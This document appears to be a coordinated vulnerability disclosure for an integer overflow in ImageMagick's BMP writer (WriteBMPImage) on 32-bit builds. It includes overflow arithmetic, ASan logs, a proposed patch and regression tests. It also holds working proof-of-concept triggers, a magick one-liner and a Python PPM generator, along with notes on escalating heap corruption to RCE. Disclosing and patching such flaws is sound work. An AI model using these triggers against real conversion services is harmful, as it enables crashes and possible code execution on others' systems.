| summary |
ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow
## Summary
A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses `bytes_per_line` (stride) to a tiny value while the per-row writer still emits `3 × width` bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.
- **Impact:** Attacker-controlled heap out-of-bounds (OOB) write during conversion **to BMP**.
- **Surface:** Typical upload → normalize/thumbnail → `magick ... out.bmp` workers.
- **32-bit:** **Vulnerable** (reproduced with ASan).
- **64-bit:** Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.
- **Proposed severity:** **Critical 9.8** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
---
## Scope & Affected Builds
- **Project:** ImageMagick (BMP writer path, `WriteBMPImage` in `coders/bmp.c`).
- **Commit under test:** `3fcd081c0278427fc0e8ac40ef75c0a1537792f7`
- **Version string from the run:** `ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712`
- **Architecture:** 32-bit i686 (**`sizeof(size_t) == 4`**) with ASan/UBSan.
- **Note on other versions:** Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.
---
## Root Cause (with code anchors)
### Stride computation (writer)
```c
bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32);
```
### Per-row base and 24-bpp loop (writer)
```c
q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line;
for (x = 0; x < (ssize_t)image->columns; x++) {
*q++ = B(...); *q++ = G(...); *q++ = R(...); // writes 3 * width bytes
}
```
### Allocation (writer)
```c
pixel_info = AcquireVirtualMemory(image->rows,
MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels));
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);
```
### Dimension “caps” (insufficient)
The writer rejects dimensions that don’t round-trip through `signed int`, but both overflow thresholds below are **≤ INT_MAX** on 32-bit, so the caps **do not prevent** the bug.
---
## Integer-Overflow Analysis (32-bit `size_t`)
Stride formula for 24-bpp:
```
bytes_per_line = 4 * ((width * 24 + 31) / 32)
```
There are **two independent overflow hazards** on 32-bit:
1. **Stage-1 multiply+add** in `(width * 24 + 31)`
Overflow iff `width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969`
→ at **width ≥ 178,956,970** the numerator wraps small before `/32`, producing a **tiny** `bytes_per_line`.
2. **Stage-2 final ×4** after the division
Let `q = (width * 24 + 31) / 32`. Final `×4` overflows iff `q > 0x3FFFFFFF`.
Solving gives **width ≥ 1,431,655,765 (0x55555555)**.
Both thresholds are **below** `INT_MAX` (≈2.147e9), so “int caps” don’t help.
**Mismatch predicate (guaranteed OOB when overflowed):**
Per-row write for 24-bpp is `row_bytes = 3*width`. Safety requires `row_bytes ≤ bytes_per_line`.
Under either overflow, `bytes_per_line` collapses → `3*width > bytes_per_line` holds → **OOB-write**.
---
## Concrete Demonstration
Chosen width: **`W = 178,957,200`** (just over Stage-1 bound)
- Stage-1: `24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32)` → **5535**
- Divide by 32: `5535 / 32 = 172`
- Multiply by 4: `bytes_per_line = 172 * 4 = **688** bytes` ← tiny stride
- Per-row data (24-bpp): `row_bytes = 3*W = **536,871,600** bytes`
- Allocation used: `MagickMax(688, W+256) = **178,957,456** bytes`
- **Immediate OOB**: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.
---
## Observed Result (ASan excerpt)
```
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 in WriteBMPImage coders/bmp.c:2309
...
allocated by:
AcquireVirtualMemory MagickCore/memory.c:747
WriteBMPImage coders/bmp.c:2092
```
- Binary: **ELF 32-bit i386**, Q8, non-HDRI
- Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)
---
## Exploitability & Risk
- **Primitive:** Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.
- **Control:** Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).
- **Likely deployment:** Server-side, non-interactive conversion pipelines (UI:N).
- **Outcome:** At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to **RCE**.
**Note on 64-bit:** Without integer overflow, `bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width`, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.
---
## Reproduction (copy-paste triager script)
**Test Environment:**
- `docker run -it --rm --platform linux/386 debian:11 bash`
- Install deps: `apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3`
- Clone & checkout: ImageMagick `7.1.2-0` → commit `3fcd081c0278427f...`
- Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):
```bash
./configure \
--host=i686-pc-linux-gnu \
--build=x86_64-pc-linux-gnu \
--disable-dependency-tracking \
--disable-silent-rules \
--disable-shared \
--disable-openmp \
--disable-docs \
--without-x \
--without-perl \
--without-magick-plus-plus \
--without-lqr \
--without-zstd \
--without-tiff \
--with-quantum-depth=8 \
--disable-hdri \
CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
LDFLAGS="-fsanitize=address,undefined"
make -j"$(nproc)"
```
- Runtime limits to exercise writer:
```bash
export MAGICK_WIDTH_LIMIT=200000000
export MAGICK_HEIGHT_LIMIT=200000000
export MAGICK_TEMPORARY_PATH=/tmp
export TMPDIR=/tmp
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0"
```
**One-liner trigger (no input file):**
```bash
W=178957200
./utilities/magick \
-limit width 200000000 -limit height 200000000 \
-limit memory 268435456 -limit map 0 -limit disk 200000000000 \
-limit thread 1 \
-size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null
```
**Expected:** ASan heap-buffer-overflow in `WriteBMPImage` (will be provided in a private gist link).
**Alternate PoC (raw PPM generator):**
```python
#!/usr/bin/env python3
W, H, MAXV = 180_000_000, 1, 255
# W > 178,956,969
with open("huge.ppm", "wb") as f:
f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii"))
chunk = (b"\x41\x42\x43") * (1024*1024)
remaining = 3 * W
while remaining:
n = min(remaining, len(chunk))
f.write(chunk[:n]); remaining -= n
# Then: magick huge.ppm out.bmp
```
---
## Proposed Severity
- **Primary vector (server auto-convert):** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → **9.8 Critical**
- **If strictly CLI/manual conversion:** `UI:R` → **8.8 High**
---
## Maintainer Pushbacks — Pre-empted
- **“MagickMax makes allocation large.”** The row **base** advances by **overflowed `bytes_per_line`**, causing row overlap and eventual region exit regardless of total allocation size.
- **“We’re 64-bit only.”** Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS.
- **“Resource policy blocks large images.”** That’s environment-dependent defense-in-depth; arithmetic must be correct.
---
## Remediation (Summary)
Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.
Concretely:
- Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t.
- Compute row_bytes for the chosen bpp and assert row_bytes <= bytes_per_line.
- Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.
A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).
---
## Regression Tests to Include (PR-friendly)
1. **32-bit overflow repros** (with ASan):
- `rows=1`, `width ≥ 178,956,970`, `bpp=24` → now cleanly errors.
- `rows=2`, same bound → no row overlap; clean error.
2. **64-bit sanity:** Medium images (e.g., `8192×4096`, 24-bpp) round-trip; header’s `biSizeImage = rows * bytes_per_line`.
3. **Packed bpp (1/4/8):** Validate `row_bytes = (width*bpp+7)/8` (guarded), 4-pad, and **payload ≤ stride** holds.
---
## Attachments (private BMP_Package)
Provided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.)
---
## Disclosure & Coordination
- **Reporter:** Lumina Mescuwa
- **Tested on:** i686 Linux container (details in Repro)
- **Timeline:** August 19th, 2025
---
## Appendices
### Appendix A — Patch block tailored to `bmp.c`
**Where this hooks in (current code):**
- Stride is computed here: `bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);`
- Header uses `bmp_info.image_size=(unsigned int) (bytes_per_line*image->rows);`
- Allocation uses `AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns+256UL)*sizeof(*pixels));`
- 24-bpp row loop writes pixels then zero-pads up to `bytes_per_line` (so the per-row slot size matters): `for (x=3L*(ssize_t)image->columns; x < (ssize_t)bytes_per_line; x++) *q++=0x00;`
---
## Suggested Patch (minimal surface, guards + invariant)
I recommend this **in place of** the existing `bytes_per_line` assignment and the subsequent `bmp_info.image_size` / allocation block. Keep your macros and local variables as-is.
```c
/* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */
/* 1) Guard the original stride arithmetic (preserve behavior, add checks). */
if (bmp_info.bits_per_pixel == 0 ||
(size_t)image->columns > (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel)
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
size_t _tmp = (size_t)image->columns * (size_t)bmp_info.bits_per_pixel + 31;
/* Divide first; then check the final ×4 won't overflow. */
_tmp /= 32;
if (_tmp > (SIZE_MAX / 4))
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
bytes_per_line = 4 * _tmp; /* same formula as before, now checked */
/* 2) Compute the actual data bytes written per row for the chosen bpp. */
size_t row_bytes;
if (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) {
/* packed: ceil(width*bpp/8) */
if ((size_t)image->columns > (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel)
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
row_bytes = (((size_t)image->columns * (size_t)bmp_info.bits_per_pixel) + 7) >> 3;
} else {
/* 16/24/32 bpp: (bpp/8) * width */
size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8;
if (bpp_bytes == 0 || (size_t)image->columns > SIZE_MAX / bpp_bytes)
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
row_bytes = bpp_bytes * (size_t)image->columns;
}
/* 3) Per-row safety invariant: the payload must fit the stride. */
if (row_bytes > bytes_per_line)
ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
/* 4) Guard header size and allocation products. */
if ((size_t)image->rows == 0)
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
/* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */
if (bytes_per_line > 0xFFFFFFFFu / (size_t)image->rows)
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
bmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image->rows);
/* Allocation count = rows * stride_used, with existing MagickMax policy. */
size_t _stride = MagickMax(bytes_per_line, (size_t)image->columns + 256UL);
if (_stride > SIZE_MAX / (size_t)image->rows)
ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
pixel_info = AcquireVirtualMemory((size_t)image->rows, _stride * sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);
/* Optional: keep zeroing aligned to computed header size. */
(void) memset(pixels, 0, (size_t) bmp_info.image_size);
/* --- PATCH END --- */
```
### Why this is the right spot?
- It **replaces** the unguarded stride line you currently have, without changing the algorithm (still `4*((W*bpp+31)/32)`).
- It **fixes the header** (`biSizeImage`) to be a checked product, instead of a potentially wrapped multiplication.
- It **guards allocation** where you presently allocate `rows × MagickMax(bytes_per_line, columns+256)`.
- The invariant `row_bytes ≤ bytes_per_line` ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to `bytes_per_line`) can never exceed the per-row slot the code relies on.
---
## Notes
- **Behavior preserved**: The stride value for normal images is unchanged; only pathological integer states are rejected.
- **Header consistency**: `biSizeImage = rows * bytes_per_line` remains true by construction, but now cannot overflow a 32-bit DIB field.
- **Defensive alignment**: If you prefer, you can compute `bytes_per_line` as `((row_bytes + 3) & ~3U)`; it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.
A slightly larger “helpers” variant (with `safe_mul_size` / `safe_add_size` utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.
### Appendix B — Arithmetic Worked Example (W=178,957,200)
- `(24W + 31) mod 2^32 = 5535`
- `bytes_per_line = 4 * (5535/32) = 688`
- `row_bytes (24-bpp) = 536,871,600`
- Allocation via `MagickMax = 178,957,456` → immediate row 0 out-of-bounds.
### Appendix C — Raw ASan Log (trimmed)
```
=================================================================
==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 at 0x6eaac490 thread T0
#0 0xed2788 in WriteBMPImage coders/bmp.c:2309
#1 0x13da32c in WriteImage MagickCore/constitute.c:1342
#2 0x13dc657 in WriteImages MagickCore/constitute.c:1564
0x6eaac490 is located 0 bytes to the right of 178957456-byte region
allocated by thread T0 here:
#0 0x408e30ab in __interceptor_posix_memalign
#1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747
#2 0xecd597 in WriteBMPImage coders/bmp.c:2092
``` |